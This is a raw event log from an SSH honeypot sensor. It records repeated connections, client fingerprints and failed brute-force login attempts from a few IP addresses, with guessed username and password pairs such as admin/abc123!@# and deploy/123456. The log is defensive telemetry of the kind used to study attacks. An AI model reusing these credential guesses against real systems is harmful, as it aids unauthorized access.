{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:54.997166Z","src_ip":"192.109.200.78","session":"5423272f6161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36050,"dst_ip":"10.17.0.5","dst_port":22,"session":"061c305830f7","protocol":"ssh","message":"New connection: 192.109.200.78:36050 (10.17.0.5:22) [session: 061c305830f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:57.697033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:57.706669Z","src_ip":"192.109.200.78","session":"061c305830f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:57.783350Z","src_ip":"192.109.200.78","session":"061c305830f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:58.112083Z","src_ip":"192.109.200.78","session":"061c305830f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:46:59.198259Z","src_ip":"192.109.200.78","session":"061c305830f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4bb203e6b7d","protocol":"ssh","message":"New connection: 192.109.200.78:42584 (10.17.0.5:22) [session: a4bb203e6b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:01.763963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:01.768977Z","src_ip":"192.109.200.78","session":"a4bb203e6b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:01.854233Z","src_ip":"192.109.200.78","session":"a4bb203e6b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:02.105158Z","src_ip":"192.109.200.78","session":"a4bb203e6b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:03.191092Z","src_ip":"192.109.200.78","session":"a4bb203e6b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"3746e89f7a03","protocol":"ssh","message":"New connection: 74.91.200.154:51424 (10.17.0.5:22) [session: 3746e89f7a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:05.614445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:05.620991Z","src_ip":"74.91.200.154","session":"3746e89f7a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:05.843688Z","src_ip":"74.91.200.154","session":"3746e89f7a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42586,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef37684b8bf1","protocol":"ssh","message":"New connection: 192.109.200.78:42586 (10.17.0.5:22) [session: ef37684b8bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:06.056413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:06.061818Z","src_ip":"192.109.200.78","session":"ef37684b8bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:06.144823Z","src_ip":"192.109.200.78","session":"ef37684b8bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:06.400441Z","src_ip":"192.109.200.78","session":"ef37684b8bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertz123","message":"login attempt [ubuntu/qwertz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:06.718656Z","src_ip":"74.91.200.154","session":"3746e89f7a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:07.491739Z","src_ip":"192.109.200.78","session":"ef37684b8bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:07.943848Z","src_ip":"74.91.200.154","session":"3746e89f7a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"02ee1f26808c","protocol":"ssh","message":"New connection: 192.109.200.78:54536 (10.17.0.5:22) [session: 02ee1f26808c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:10.177957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:10.183906Z","src_ip":"192.109.200.78","session":"02ee1f26808c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:10.265399Z","src_ip":"192.109.200.78","session":"02ee1f26808c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:10.692294Z","src_ip":"192.109.200.78","session":"02ee1f26808c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:11.780568Z","src_ip":"192.109.200.78","session":"02ee1f26808c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59658,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04b09c9ff11","protocol":"ssh","message":"New connection: 159.203.92.129:59658 (159.203.135.109:22) [session: d04b09c9ff11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:12.401354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:12.406205Z","src_ip":"159.203.92.129","session":"d04b09c9ff11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:12.414648Z","src_ip":"159.203.92.129","session":"d04b09c9ff11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123!@#","message":"login attempt [admin/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:12.427886Z","src_ip":"159.203.92.129","session":"d04b09c9ff11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:13.435605Z","src_ip":"159.203.92.129","session":"d04b09c9ff11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54550,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e0f0641d806","protocol":"ssh","message":"New connection: 192.109.200.78:54550 (10.17.0.5:22) [session: 6e0f0641d806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:14.440089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:14.445448Z","src_ip":"192.109.200.78","session":"6e0f0641d806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:14.527615Z","src_ip":"192.109.200.78","session":"6e0f0641d806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:15.072674Z","src_ip":"192.109.200.78","session":"6e0f0641d806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:16.203175Z","src_ip":"192.109.200.78","session":"6e0f0641d806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55434,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c87963f216","protocol":"ssh","message":"New connection: 192.109.200.78:55434 (10.17.0.5:22) [session: d5c87963f216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:18.600608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:18.604984Z","src_ip":"192.109.200.78","session":"d5c87963f216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:18.686584Z","src_ip":"192.109.200.78","session":"d5c87963f216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:18.933725Z","src_ip":"192.109.200.78","session":"d5c87963f216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:20.019594Z","src_ip":"192.109.200.78","session":"d5c87963f216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55444,"dst_ip":"10.17.0.5","dst_port":22,"session":"1841dd59a236","protocol":"ssh","message":"New connection: 192.109.200.78:55444 (10.17.0.5:22) [session: 1841dd59a236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:22.654737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:22.661030Z","src_ip":"192.109.200.78","session":"1841dd59a236","protocol":"ssh"}
